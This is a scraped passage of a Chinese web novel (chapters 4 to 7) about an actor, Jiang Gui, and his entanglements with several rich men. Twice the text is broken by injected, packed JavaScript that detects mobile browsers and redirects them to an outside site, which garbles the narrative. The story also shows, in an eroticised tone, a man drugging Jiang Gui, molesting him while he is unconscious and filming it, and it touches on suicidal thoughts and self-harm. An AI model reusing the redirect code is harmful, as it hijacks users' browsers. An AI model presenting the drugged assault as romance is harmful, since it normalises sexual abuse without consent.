姜瑰手被绑缚得挣脱不了,像是悬在半空不上不下的滋味,果然一会儿就受不住了,哼哼唧唧的在谢筠池怀里掉着眼泪哭。 谢筠池将他抱起来亲了又亲,反反复复的问他:“错了没有?” 姜瑰泛着酒意的眼睛茫然的看着他,眨了眨眼。 谢筠池这种时候的耐心总是出奇好:“跟老公说,错了没有?” 姜瑰被欺负得整个人都轻轻抖了一下,扬起脸,很听话的点了点头:“……错了。” 他太招人了。 谢筠池想。 明明是他做错,是他胡来,可哭着说受不了的还是他,求原谅的也是他。 他毫无底线的侵犯周围人的边界,蚕食道德,却那么让人心痒。 这么多年,那种痒像是心底的瘾,必须要靠抓牢或占有姜瑰,才能获得片刻舒缓。 算了。 何必在这种小事上斤斤计较。 谢筠池将软绵绵的姜瑰抱进怀里,是一个爱人间格外缱绻的动作:“瑰瑰,跟老公道歉,跟老公说,以后再也不来这里了。” “好哦……” 姜瑰呼吸里还染着酒意,贴在谢筠池身上,鹦鹉学舌般乖乖顺顺的说,“我错了,以后,不来这里了。” 姜瑰仰头,甜甜的在谢筠池下巴亲了一下:“巫南哥哥。” 5. 第五章 第五章 “你在叫谁?” 灯光糜烂的房间里,猩红的射灯为圆床和旁边的木马椅镀上一层不良的阴郁感。 谢筠池的声音像是从地狱里爬出来的恶鬼,让人不寒而栗。 他一把提起姜瑰,“你在叫谁?!” 猛烈的拉拽让姜瑰陡然酒醒。 然而已经来不及悔改了。 眼前漂亮见底的眼睛里还沾着酒意,怔怔的望过来,谢筠池从姜瑰眼底捕获到他瞬间的慌乱和紧张。 “继续叫啊!” 在看清姜瑰神色的那一秒,谢筠池爆发了,“你在我床上叫谁的名字?姜瑰,你还想干什么?!” 房间内逼仄的空气和谢筠池的力度让姜瑰不太舒服的低低咳了两声,他试着用了些力,才发现自己的手还被拷在床头上动弹不得。 对比谢筠池衣冠楚楚,姜瑰觉得自己现在这副模样着实有些不太体面。 反正话都已经说出去,覆水难收。 姜瑰用空余的剩下那只手推开了谢筠池的胸膛,不知是因为没有防备还是气得太过。 谢筠池竟真被姜瑰推开了些,喉结一紧就要开口。 姜瑰却先道:“我们要不然就先这样吧,谢筠池。” 猩红的灯光是暧昧的,床头灯市暖调的。 灯光明灭中姜瑰艳丽的脸却像表演结束的画皮,露出谢筠池从没见过的一种冷感来。 姜瑰晃晃手,手铐和床头金属的碰撞声敲得人心神不宁,他蹙着秀丽的眉,有种颇不耐烦的模样。 谢筠池问:“什么叫就这样?” “我不想跟你解释,反正你也不会信。” 姜瑰非常懂得渣男三件套,不主动不拒绝遇事先推卸,推不掉就怪别人想太多,“现在我说什么都没用,在这浪费什么时间?” 谢筠池几乎被气笑了:“姜瑰,你在我床上喊其他男人名字,反过来说我想太多,是这个意思吗?” 姜瑰面不改色心不跳:“你要这样觉得,我也没办法。” “姜瑰!” 床头夜场老板定制的羊皮小夜灯被谢筠池狠狠掼在地上,摔了个七零八落,“你从拍这部电影开始就和巫南传闻不断,我跟你要个明确回答,我有错吗?!” 谢筠池怒道:“还是你觉得我问都不配问,连个回答都不配要?!” 姜瑰目光随着那盏灯驻了许久,看它彻底四分五裂,才收回视线:“我和巫南没关系。” “没关系你叫他哥哥?” “随口叫的,叫习惯了。” 姜瑰连解释都不太诚恳,神情倒显得足够乖,“随你信不信吧。” 夜灯晕黄的光碎成一地。 只有猩红色的地面灯投射在姜瑰模糊的神情里,看不分明。 谢筠池道:“姜瑰,我累了。如果你还想我们的关系继续下去,你退出娱乐圈吧。” 姜瑰倚在床上,身上还带着痕迹,从水光粼粼中偏头看过来。 片刻。 像想起什么,姜瑰用另一只手仔细摸到床边柜的第二层,翻到一把钥匙,凑近手铐“啪嗒”一声开了锁。 嚯!重获自由。 姜瑰甩了甩手腕,也不介意自己半褪的睡袍,就一眨不眨的看向面前的谢筠池。 时间赋予了这个男人许多优待,他更加成熟,俊朗,卓有资产。 姜瑰道:“谢筠池,你给我笔分手费吧。” 谢筠池一滞:“……你说什么?” “你的副卡以后估计要属于姜佩玉吧,我拿着也不合适。” 姜瑰想抽烟,忍住了,伸手把还没焐热的副卡丢给对面的人,“说实话刷你的卡还是蛮爽的,还没限额。” 谢筠池站在原地,没接那张卡:“你什么意思?” “我不想做小三啊,谢大少。” 姜瑰无辜得像白兔似的睁着眼,很纯良的道,“而且还是破坏自己哥哥的婚姻,我做不出来。” 姜瑰:“你能给我多少分手费?多少都行。” 谢筠池这次懂了姜瑰的意思。 姜瑰不愿意出退娱乐圈,也不要他了。 他第一次来到姜瑰玩的地盘,就看到了这样脏,这样糜乱,这样陌生的姜瑰。 这样的人……的确比不上,比不上姜佩玉。 谢筠池第一次觉得呼吸也可以是有痛意的,但他绝不愿意在这样肮脏的姜瑰面前表现出来。 “你想要多少?” 室内的昏红里,谢筠池冷笑着开口,“姜瑰,你跟了我这些年,多给你些也不是不可以。” 姜瑰坐在床上晃着腿,两条白得透明的细腿一荡又一荡。 他狮子大开口:“六千万吧。” 谢筠池片刻才道:“你觉得你值这么多?” “肯定值呀。” 姜瑰笑了,特别明媚的道,“谢大少,我这人是不值,但替你保守秘密,不告诉姜佩玉和其他人我们乱搞,这还不值六千万吗?” 谢筠池道:“吊着我一直给你砸钱,不是比六千万更划算?” 姜瑰支着下巴:“太遥远了,一直是多久,我还是喜欢看眼前。” 谢筠池不再说话。 良久。 床尾的男人起身。 他风姿朗然,重新整了领带,然后转身回来,拿起床头因为刚刚做事取下的钻石袖扣。 谢筠池垂眼:“姜瑰,你别后悔。” 姜瑰眉眼弯弯,伸手拽住谢筠池的领带向下拉了几分:“哥……夫?你放心,我做事呢,从来不后悔。” 谢筠池猛地退开两步。 “六千万我让阿Li明天一早转你账户。” 皮鞋底的声音在如水夜色里回响,“姜瑰,我们到此为止。” 男人身形高挑优越,西装将他衬得愈发耀眼。 就在他即将迈出门的一刻。 姜瑰道:“谢筠池。” 那人蓦然停步。 “也没什么。” 姜瑰笑嘻嘻道,“就是想祝你和姜佩玉百年好合。” 谢筠池裤边的手猛地攥紧再松开,头也不回,大步走了出去。 * 这个觉看来是没法睡了。 姜瑰赤脚走下床,拉开窗帘,看着外面凄惶的月亮。 真可惜环内不让建高楼,从这儿跳下去死不了。 思及此,姜瑰赶紧老老实实吃了几颗药。 他摸出手机骚扰了下姚正,可惜正常人这点早都睡了。 姜瑰也不纠结,叫了个车,直奔郊区。 从环内到他目的地还有挺长一段路程。 A市的出租司机多数健谈,尤其姜瑰上的这辆就是个深更半夜睡不着觉起来跑车的本地老头。 “小伙儿你这么俊,半夜去精神病院不怕啊?” “那里面可都是市医院住不了的病人吼!” “还有伤人事件,很可怕的噢。” “帅哥儿你是不是当明星哦,看你脸儿熟勒!” 姜瑰露出白牙,森森一笑:“实不相瞒,大爷,我正准备去那儿住院呢。” 车内彻底安静了。 出门在外,身份是自己给的。 姜瑰嘚瑟的在后排抖腿玩手机,过了会儿,收到虞亭至发来的信息。 虞亭至:今晚还回吗? 姜瑰打字:“还在外面。” 虞亭至:太晚了,我来接你。 姜瑰思考片刻,从那回城确实难打车,于是发了个定位:“到了以后在门口等我,一会儿我就出来。” 出租大爷仿佛赶着去救火一般开车跑了。 病院门前浓绿的爬山虎笼罩了整面墙,也一并遮掩了其中的电网和围栏。 总归是远郊,说不上繁华,但收的钱够多,总也不能算是破败。 看门的大爷在幽幽夜色里看一台老式电视机。 姜瑰核验完身份,大爷推开铁门,放他进去。 这里他曾经常来,后面越来越忙,来的少了。 夜里多数病人都回病房,隔着病房门在走廊里穿过时,能听到各种各样分贝不同的哀嚎和尖叫声。 护士站值班的小护士打着盹。 姜瑰从兜里摸出一盒进口抹茶生巧,从台面上推过去:“晚上好。” 小护士回神抬头,眼睛瞬间亮了:“姜先生?您怎么这时候过来了?” “前阵子太忙了。” 姜瑰笑盈盈的,“这个请你吃,可以提神。” 小护士摆手,一张脸通红:“那多不好意思!” 她急匆匆拿着钥匙走出护士站:“庄阿姨这几天状态还比较平稳,我带你去看看吗?” 姜瑰眉目弯弯:“谢谢。” 这座医院的病房是按入院时间早晚排的,庄丽是走廊尽头倒数第二间。 精神类医院为防止病人自残自杀,往往在窗户和门上都有格外讲究。 小护士带着姜瑰走到门前,先拉开病房门的小探视窗向内看了一眼,接着神色大变:“怎么不在床上?” 姜瑰:“嗯?” 小护士立刻接通对讲喊来这一层的带着电棍的两名巡查员,有点紧张的转头道:“姜先生,我们先进去,您在外面等一下。” 姜瑰一副很理解的模样:“好的,辛苦。” 病房门打开。 巡查员先进去,小护士跟在后面,房间内惨白的灯光大亮,照得姜瑰眯了眯眼。 里面似乎一片平静。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16112387|179940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >姜瑰跟着走进去,顺着巡查员和小护士的位置,找到了躲在病床下的庄丽。 医院不敢用金属病床,所有的病房材料多数都是硬质塑料的。 而在床底下的硬塑料支撑杆已经被庄丽用嘴和牙齿咬出了一个豁口。 直到所有人都看着她,她还在不断舐咬,咬得一颗牙从口腔里滚下来落在旁边铺着软垫的大理石地板上。 咬得满嘴鲜血淋漓,转过头来的时候,像是只有着一张血口的怪物。 血液顺着女人的嘴角,舌头,口腔和鼻腔流下来,宛如一部大型恐怖片的开头。 小护士吓傻了,跑出门去叫值班医生。 巡查员手里的电棍紧握。 姜瑰蹲下腰,平视着女人的动作,半晌,问道:“你在干什么?” “它要吃我。” 庄丽头发蓬乱,染着各种污迹,现在又沾了血,格外丑陋,“它监视我,要吃我!” “我要弄死他,弄死他,弄死他……” 女人一边反复,一边继续重复的啃咬。 突然! 庄丽被剪凸指甲的手狠狠抓上姜瑰的手臂,女人随即四肢着地攀爬而来,拼命的摇撼他:“你帮我弄死他!快点!你帮我弄死他!” 姜瑰低头去看,被抓着位置又是他的伤口,真是巧之又巧。 可惜重复的疼痛已经没那么爽了。 姜瑰伸手轻轻拍了拍庄丽的头:“姜佩玉要结婚了。” 女人活像是被打了镇定,人机似的停滞了几秒。 她浑浊苍老的眼睛看向姜瑰:“阿玉。” “是啊,阿玉。” 姜瑰轻声道,“你的阿玉要结婚了,和一个……挺好的有钱人。” 庄丽麻木的视线颤动,抓着姜瑰的手粗糙用力:“你是阿玉吗?” 巡查员留意到了姜瑰开始渗血的伤口,立刻用电棍威慑性的指向女人枯黄的手:“松手!” 仿佛极其畏惧电棍,庄丽目光惶然的一下子松了手,却又像是不舍,手指在半空中留恋着:“阿玉,你来看妈妈了。” 姜瑰撇开目光,看到床头禁止吸烟的字样。 小护士终于带着值班医生急匆匆赶来,查看了庄丽的情况,又打了一支针剂。 巡查员将陷入安静的女人扶上床躺好,再次检查一遍病房。 医生道:“姜先生,我们出去说?” “好。” 医生办公室的门是后贴了隔音层的,挺大,很空旷。 “庄女士的情况您也应该很清楚,身体机能在不断下滑,药物能做到的控制越来越有限,再加上她身体底子也差,旧疾多。” 医生将庄丽的病例翻了又翻,“可能就是今年了。” 姜瑰点头:“理解。” 医生将病例翻到第一页,有些疑问:“不过姜先生,当时给她办理住院的是姜佩玉,关系是母子,但似乎很少看到这位过来。” “啊……” 姜瑰弯弯唇:“他是我哥,小时候被贩子拐走了,就是庄丽收养的,他最近准备结婚了,时间比较少。” 医生面上还有疑惑,但也不好再问,只道:“那就好,像庄女士这种精神分裂很容易遗传下一代,不是亲生就不存在这种问题了。” 姜瑰正抬头看办公室墙上贴着的各类宣传海报,读到精神分裂那一张,像是随口道:“下一代,也会变成她刚刚那样吗?” “很难说啊。” 医生将庄丽的病例推回资料夹,走过来给姜瑰解释,“人的机体是很复杂的系统,多方因素共同作用下,可能比她更轻微,也可能比她更严重。” 姜瑰笑了一下:“这样。” 在医院里续了一笔费用,再次从大铁门迈出来的时候,天已经擦亮了。 亮红色的布加迪就停在门口,改装过的引擎没熄,发出震耳的轰鸣。 姜瑰拉开车门坐上去。 一杯热奶茶从驾驶位上递过来,男人画画的手骨节分明,抓握时能看到青筋的脉络:“喝完酒,暖暖胃。” 愣了一下。 姜瑰伸手接过来,吸管是插好的。 他低头看了下标签,不另加糖。 姜瑰放声笑起来:“虞亭至,你还挺了解我的,你要是给我买碗白粥,今天我就开了你。” “不爱喝粥。” 虞亭至启动车子,“你是小孩吗?” 姜瑰美滋滋的坐在副驾驶上老老实实的吸奶茶,咕咕灌下去半杯:“我是宝宝。” “好,你是宝宝。” 虞亭至又从纸袋里摸了摸,“宝宝要吃肉包包吗?” 姜瑰:“……” 姜瑰龇了下牙,劈手抢了过来:“要的,宝宝饿了。” 6. 第六章 第六章 按理说今天姜瑰应该要去趟公司,毕竟刚拿了奖,头顶几个BOSS和后续事宜都要再去谈谈。 姚正打电话过来:“你什么时候到?” 姜瑰泡在浴缸里:“懒得去了,你看着整吧。” 姚正:“……公司几个上级对你已经很不满了,你能不能尊重一下?” “尊重不来,爱咋咋吧。” 姜瑰十足摆烂,“给我钱就行,你接钱多的活。” 姚正噎住了:“你现在是上升期啊!我们不是应该仔细挑质量吗?你要那么多钱干什么啊?!” “养老。” 姚正:“……我今早听项目组那边的传闻,巫南的新剧,公司推了个新人过去。” “哦。” “巫南没拒绝。” 姜瑰:“哦。” 姚正:“你没什么反应?” “无所谓。” 浴室内蒸汽升腾,姜瑰眯着眼吸烟,“我干了个能让你开心的事,要不要听?” 姚正惊了:“我还能摊上这种好事?” 姜瑰道:“我和谢筠池掰了。” “……真的假的?这么快?” “我折他面子了,他受不了。对了,我准备休个假,杜温瑜助理跟我说他要回来了。” 天还没彻底亮就又黑了,姚正道:“姜瑰,你跟我交个底,你跟杜温瑜到底什么关系?外面那些传闻到底真的假的?” “什么传言?” “你勾引的杜温瑜让他写歌捧你,跟他上床……” “假的。” 姜瑰把烟掐了,从浴缸里迈了出来。 他一双修长白皙的腿踩在光洁的地面上,泛着水光的肌肤皎洁到反光。 而平时穿衣被遮住的右胸口处却皆是一道又一道陈旧的疤痕。 有些疤痕皮肉泛起,看上去曾经愈合的分外艰难。 姜瑰拉开浴室柜,从抽屉里取了块纹身贴熟练的贴了上去——那纹身贴是纯黑色的,一只振翅欲飞的枯尾蝶。 姜瑰披上浴巾,对电话那头说:“你给我约个激光吧,我胳膊和腿上有几道伤太明显了,得处理下。” “你今年都打了第四次激光了!你就不能……” 姚正语气听不出是急还是气,“姜瑰,你对自己好点,行不?” 姜瑰嗯了声。 姚正又问了一遍:“你和杜温瑜真没像网上……那种关系?” 姜瑰:“这个真没有,人家没这个意思。” 姜瑰很少夸人,这时却难得多说了一句:“当时我去求他的时候挺高冷的,后面接触其实蛮温和一人,很好说话。” 姚正松口气:“那就好,他那种身世可能确实不太接受这种事。” “现在谢筠池也解决了,你别再招其他人了。其实我觉得巫导对你也很真心……” 姚正满腹忧虑,老妈子一般喋喋不休,突然就听到姜瑰电话那边传来一个陌生男人的声音。 “怎么还没睡?” 随即姜瑰开口:“改天聊,挂了。” 姚正:“喂?喂!” * 姜瑰不喜欢吹头发,半长的头发滴着水,一路从浴室滴到卧室的木地板上:“你怎么过来了?” 虞亭至神色寻常:“看你没关门,怕你晕倒在浴室,进来看看。” 姜瑰恹恹点了下头,往外瞧了眼天色:“都快中午了。” 虞亭至问:“睡不着了?” 其实姜瑰睡不着不是因为时间,是他之前吃了药,现在正是亢奋的时候。 见姜瑰没说话,虞亭至也不急,去浴室取了吹风机过来:“我给你吹吧,总这样会容易着凉。” 姜瑰没反对,换了个姿势,坐在了镜面前。 明净昂贵的自发光镜面里投出姜瑰漂亮的有些不似真人的容貌。 他能如此在这圈子里战无不胜,除了耍的那些勾当,更因为他确实有一张令无数人羡慕的艳丽脸蛋。 薄粉色的唇珠微翘,像是颗等人含吮的珍珠;鼻梁的一颗小痣性感迷人,将他整张脸衬得愈发出彩。 吹风机是静音的,隐约间只有空气的流动声。 姜瑰等得不耐,随口就道:“要不你也别睡了,陪我玩游戏。” 这个人自负,自私,被惯性的宠坏,肆意无序。 虞亭至低头,把身前这人最后几缕发丝吹干整理好,眼中的余光正巧能落进敞开的浴巾领口,将其中的风光一览无余。 真完美的身体。 虞亭至放下吹风机:“抱歉,我不会玩游戏。” 姜瑰眼皮都懒得抬:“没用的东西。” 虞亭至说:“我教你画画,想不想学?” 姜瑰圆溜溜的眼睛望了过来。 * 姜瑰这套房子算是豪宅中的豪宅。 他不乐意住别墅,A市寸土寸金,能拿得出手的平层项目就这么几个,是谢筠池当年亲自给姜瑰挑的位置。 画画的用具多种多样。 虞亭至架好画板,又整理好调色盘,摆好线笔,拉上遮光帘,才对姜瑰招招手:“来。” 姜瑰颠颠儿的趿着拖鞋来了。 虞亭至不着痕迹的将人圈进怀里,右手握住姜瑰的手:“先选只线笔。” 姜瑰在茫茫笔海中迷失了自我:“选哪个?” “你想画什么?” “不知道。” “那就选一个你现在想到的,看到的,感受到的,都可以。” 姜瑰仔细琢磨了一番,突然乐了:“真的吗?” 这人笑起来真是非常好看。 虞亭至握住姜瑰笑得都有些发抖的手:“艺术本来就是从兴趣出发的。” “成,那我挑了。” 姜瑰抓了只最粗的碳芯,先在纸上画了个长条形的圆柱,接着在圆柱旁边画了两颗椭圆形,“你猜这是什么?” 虞亭至:“100?” “你真棒。” 姜瑰回过头对虞亭至进行了幼儿园式鼓励,重新取了张纸,将长条形圆柱画在中间,然后在长条形圆柱底部的旁边各画了一个略小一些的正圆形。 虞亭至:“……” 姜瑰眉眼如丝:“你猜这是什么?” 虞亭至大概从没见过这么不要脸的人,一时间没接上话。 姜瑰嘻嘻一笑,踮起脚尖,凑近虞亭至耳边:“这是你现在顶着我的东西。” “唰”的一下,虞亭至脸红了个透顶。 半晌,他才道:“……你平时也是这样撩其他男人吗?” “我不撩男人。” 姜瑰早都转了回去,认认真真在纸上涂涂画画,颇有探究精神的问他,“我感觉还要再长一点。” 虞亭至:“……” 姜瑰沉迷在自己的艺术里无法自拔:“可能还要再粗一点,你看,是不是很有艺术美感。” 从未有过的口渴感涌上虞亭至的咽喉,他咽了咽口水,却仍觉得干渴。 “好像应该再上个色。” 姜瑰放下碳笔,开始点评自己的作品,“我觉得还行啊,这还是我画的第一幅画。” 虞亭至却突然道:“油画体系一般分成两种,意象油画和具象油画。” 姜瑰:“诶?” “意象油画类似于写意画,讲究神在形似。” 虞亭至微顿,“具象油画偏向工笔,神形兼具。比如油画人物,静物,都属于具象。” 姜瑰:“那我这……” 姜瑰迟疑片刻,到底没过去自己那关:“算了,太羞耻了……要不就这样吧,我看也……” “我教你。” 虞亭至握住了姜瑰的手,带着他过分纤细的手指选了只刷笔,打开颜料盒。 他神色认真,仿佛一个格外称职的老师在专业的对学生进行引导。 “人体的皮肤颜色应该取肉色,但因为这个位置,我们加一点丹桂色,暗部我们再配一些褚棕。” 蘸饱颜色的笔一点点涂满姜瑰的儿童画,原本稚嫩的线条被黏腻厚重的油画料掩盖,变得愈加真实。 虞亭至微一垂眼,就能看到姜瑰通红的耳朵。 他用另一只手揽住姜瑰的腰,格外专业的指导:“这里的两个球状,要再饱满些。” 虞亭至微微向前挺了一下:“感受到了吗?” “虞亭至!” 姜瑰虽然不太要脸,但这么没下限的事是真的从没做过,“……是我包你的!你有完没完?!” 虞亭至反倒显得耐心多了:“最后几笔了,这是你的第一幅油画画,很逼真很成功,不想画完吗?” 姜瑰:“……” 等这幅画彻底完工的时候,姜瑰觉得自己已经麻木不仁,毫无世俗的欲望了。 虞亭至从画框上取下它,平展在姜瑰面前:“要落款吗?” 姜瑰抬头,觉得自己仿佛从虞亭至那张看上去相当平和清隽的脸上看到了几分抑不住的笑意。 “要落款。” 姜瑰幽幽道,“明天我还要找个人上门给我裱起来,挂客厅墙上。” 虞亭至:“……” * 自从把虞亭至挂墙上之后,生活显然有趣多了。 每次虞亭至出门回家,都能第一眼对上那幅画,然后一言难尽的换拖鞋,回厨房给姜瑰做饭。 这种日子持续了一段时间。 直到杜温瑜的助理发信息过来,说杜温瑜回来了,问姜瑰要不要过去一起用晚餐。 说实话如果不是前阵子姚正提起,姜瑰都快忘记杜温瑜这号人了。 虽然不知道外界到底为什么传成那样,但姜瑰一直觉得他和杜温瑜之间的关系非常单纯——只是当时他想火,想赚钱,所以求杜温瑜给他写了歌。 仅此而已。 在这个乐声贫瘠的娱乐圈,从十六岁第一张EP就爆火至今的杜温瑜被圈里人称作“乐坛教父”。 十五年来,后辈频出,但却没一个人能压过他的地位。 据说这称号不仅和杜温瑜在圈里的成就有关,听说还和他的家世背景牵连。 坊间一直传闻杜温瑜家的杜姓是军阀时期那个杜字,后来整个家族迁移奥地利,只有少数族人还在国内活动。 杜温瑜也同样,每年多数的时间都在国外,只有必须得工作才会回国。 姜瑰一直感觉自己在这方面还挺顺利,当年几乎没费什么力就见到了杜温瑜。 人家有恩于自己,而且说不定后面还有求于杜温瑜,姜瑰当然不好意思拒绝,很快跟助理约好了时间。 临出门前。 姜瑰给虞亭至发了条信息,让他晚上不用等自己吃饭,接着便坐进了门口的车里。 杜温瑜派来接姜瑰的还是辆劳斯莱斯,副驾是杜温瑜的特助May。 檀木淡香萦绕在这片空间里。 May回头跟姜瑰打招呼:“姜姜,杜先生还有些事,让我先接您回七号公馆等他。” “好哦。” 姜瑰在劳斯莱斯宽阔的后座晃来晃去,“其实他今天抽不出空也可以改天我再来,我时间多。” May笑起来:“对您,杜先生总是有空的。” A市这条主干道正赶上晚高峰,哪怕再豪的车也得搁半路老老实实的等。 七号公馆是前些年开出来的一个私人盘,从未对外售卖,内里是小桥流水的院落,拥有者非富即贵。 路上耽搁太久,May带着姜瑰走进去的时候,杜温瑜竟然已经先到了。 天气很好,露天的餐桌派上用场。 餐桌另一端的雕花画廊前有张酸枝木方桌,桌上摆了文人墨客的笔砚。 大概是来得早,此时杜温瑜正在那儿练字。 May轻声走到近前,微微鞠了半躬:“杜先生。” 杜温瑜搁下笔,朝缀在May身后的姜瑰招招手,递来一个看上去分外精致的漆木方盒:“打开看看。” 姜瑰眼睛眨呀眨:“礼物吗?” 杜温瑜点了下姜瑰的额头:“你喜欢的东西。” 姜瑰毫不客气的伸手把盖子开了。 漆木盒里是一层真丝软垫,正中央放了一颗乌蓝色宝石——大约近二十克拉,通体色泽蓝黑,内里却透着晶蓝的反光,格外奇异。 宝石常见,蓝宝石常见。 乌蓝色却极为罕见,更遑论这么大的克拉数。 姜瑰脱口而出:“约瑟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16112388|179940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芬月亮?” “嗯。” 杜温瑜勾唇笑了下,很温柔的模样,“喜欢吗?” “喜欢啊!” 姜瑰有点不好意思上来就拿人家东西,“很贵吧?” 杜温瑜将外层的西装脱了递给佣人,只剩内里的衬衫和西装马甲。 他一边向上有章有法的卷衬衫袖口,一边接过管家递来的花束,递给姜瑰:“不会,瑰瑰,你的玫瑰。” 姜瑰爱玫瑰花,尤其钟爱红玫瑰,贯通烂俗二字。 一手玫瑰一手宝石。 姜瑰被糖衣炮弹打得溃不成军,连厚脸皮都维系不住:“那个,杜先生……” 杜温瑜回过头,柔和道:“以前不是叫我老师吗?” 杜温瑜在餐桌旁坐定,似笑非笑的抬眼看着姜瑰:“第一次见面的时候,上来就喊我叔叔。” 姜瑰:“……” 姜瑰尴尬到脚趾扣地:“我那时候不知道……” “两个称呼里选一个吧。” 杜温瑜用眼神示意管家和佣人退了下去,缓声对姜瑰道,“这两个我都很喜欢。” 姜瑰抱着自己的糖衣炮弹坐下来,硬着头皮:“那还是杜老师吧,谢谢杜老师的……礼物。” “不用客气。” 晚餐很快上桌,除了西式餐点,还为姜瑰额外加了他最喜欢的几道菜,是杜温瑜自己的中餐厨师最拿手的菜品。 醒好的葡萄酒装在琉璃酒具里端上来,再倒进姜瑰面前透亮的高酒杯里。 不知是因为年龄长几岁,亦或是家教太好,姜瑰总觉得每次和杜温瑜相处都相识泡在温热的泉水里,让人倦怠又懒散的舒适。 饭到一半,两人举杯。 暗色的酒液顺着姜瑰唇角渗出几滴,落进杜温瑜眼里。 七号公馆选在三环位置,这是视野最好的一院,远远看去,东望城门,北望护城河景。 远处一片灯火璀璨,近处杜温瑜俊美温润的脸似乎近在咫尺。 姜瑰晃了晃脑袋,大咧咧的说:“杜老师,幸好当年你帮我写歌了,要不我还得去……找其他人。” 杜温瑜似乎笑了下:“不是勾引其他人吗?” 姜瑰没听清:“啊?” “没什么。” 杜温瑜碰了碰姜瑰的酒杯,“这是意大利酒窖里最好的白兰地,再尝尝吗?” 姜瑰痛快的一饮而尽:“好喝的,杜老师。” May敲敲门走了进来,目光落在已经坐不稳的姜瑰身上片刻,又重新移开:“杜先生,今晚要安排车送姜先生回去吗?” 杜温瑜温和反问:“你觉得呢?” May沉默了一秒:“知道了。” 转眼间,杜温瑜又哄着姜瑰喝了整整两杯。 已经站不稳的人扶着高脚杯过来给杜温瑜敬酒,脚下踉跄,直跌进了男人早已准备好的怀里。 漂亮的姜瑰却还在满嘴感谢,大着舌头:“杜叔叔,你这么高风亮节,当年的事我真的,真的……无以为报……” 杜温瑜抬起姜瑰的下颌,就这样当着May的面,吻了怀里的人。 而May甚至没任何惊讶。 杜温瑜抱起姜瑰,是一个抱孩子似的姿势。 坊间一直传闻杜温瑜有欧洲血统,他身形甚至要超过一米九一些,衬得姜瑰娇小的偏向稚嫩,这样被抱着的时候,有种怪异的禁忌感。 “最近查到些什么?” 杜温瑜问。 May有些可怜的看了一眼姜瑰,错开视线:“谢氏控股CEO谢筠池似乎准备要和姜家找回来那个亲生儿子订婚,姜先生要了笔分手费,两人闹得不太好看。” “哦?那个导演呢。” May犹豫了下:“那个导演……应该还在和姜先生拍拖。” 喝醉的姜瑰很乖,任凭杜温瑜抚过嘴唇也没有任何挣扎。 杜温瑜问:“没了?” 和姜瑰形容的不同,这座宅院的每个人都真正畏惧杜温瑜。 May甚至抖了下,才轻声道:“姜先生最近新认识了一个画家,住进了姜先生家。画家的身份还在查。” 杜温瑜的目光沉了下来,半晌道:“你看,他就喜欢这些华而不实的东西。” May看向姜瑰的神情已经可以说是怜悯了:“杜先生,您这么喜欢他,不然我们索性……” “不行啊。” 杜温瑜点了根雪茄,烟雾涌起,丝丝缕缕纠缠过姜瑰白皙的脸,显得格外下流,“你把他关起来,他还是想要出去,又该怎么办呢?” May不敢再答话了,她看着杜温瑜抱着姜瑰走近屋。 主卧灯光打开,又转成暗色的休眠模式。 床上的人衣衫大开,睡得昏甜。 杜温瑜被乐器磨出薄茧的手划过姜瑰的鼻翼,唇珠,喉结,再一路向下,贴近他胸前那只黑色的枯尾蝶。 加了安眠药的心跳平稳悠长,和第一次主动抱上来的时候那种紧张急躁完全不同。 可惜当年姜瑰能那样抱他,就能怎样去抱别人。 大手一寸寸缓慢摸过了每一寸领土,摸过姜瑰身上的痕迹,然后是他的双腿。 粗糙的茧仿佛成了一种很好的进攻武器,在一次次的试探中攻城略地,不断胜利。 床头灯光明亮,照着姜瑰每一个表情。 床尾录像机红光眼闪烁,将全景镜头里的每分每秒统统摄入。 杜温瑜格外吝啬的掌握着怀中人的所有快乐,一眨不眨的窥着姜瑰面上似痛似扰的表情,在他快受不住的时候,就以吻不断安抚缠绵。 终于。 姜瑰单薄的身形无奈又脆弱的颤了颤,弄脏了杜温瑜价值数十万的手工衬衫。 “good job……好宝宝。” 杜温瑜变态到俯身亲了亲姜瑰才快乐过的地方。 他亲手拿了湿巾来给姜瑰擦拭水渍,擦得很慢,足足很久才擦拭干净。 还带着水痕的手抚过姜瑰被汗浸透的发丝,杜温瑜一颗颗纽扣给怀里的人重新系好衣服,也一并碰过所有肌肤。 男人沙哑到晦涩的声音在朦胧夜色里响起。 “这么多反应……你看你爽的,搔宝宝。” 7. 第七章 第七章 约摸是喝太多了,姜瑰总觉得第二天起来腰困腿也酸。 不过他向来自知酒品一般,抱着枕头在床头闷了一会儿,蔫头耷脑的啪嗒着拖鞋去洗漱刷牙,对着镜子里出现黑眼圈的自己做了个鬼脸:“你酒量好菜。” 姜瑰早已经不是第一次在杜温瑜家借宿了。 和以往一样,佣人已经提前将搭配好的衣服放在和卧室相连的衣帽间,细致到连配饰都一样俱全。 偌大的二楼没其他人,姜瑰坐在楼梯扶手上,“呲溜”一声往下滑。 ——杜温瑜正坐在餐桌旁喝咖啡。 姜瑰:“……” 从扶手上溜下来的姜瑰站直了,结巴了一下:“温老师,您还,没出门呢?” 清晨的日光从窗口落在杜温瑜肩膀上,显得他整个人都温和而舒缓:“没有,我影响到你了?” 姜瑰趿着拖鞋老老实实在杜温瑜对面坐下:“我不该在您家滑楼梯的,对不起。” “是不安全。” 杜温瑜将咖啡推给姜瑰,“吃早餐吧。” 依从杜温瑜的口味,家里的早点几乎都是西式的。 然而姜瑰这人不爱吃西式早餐。 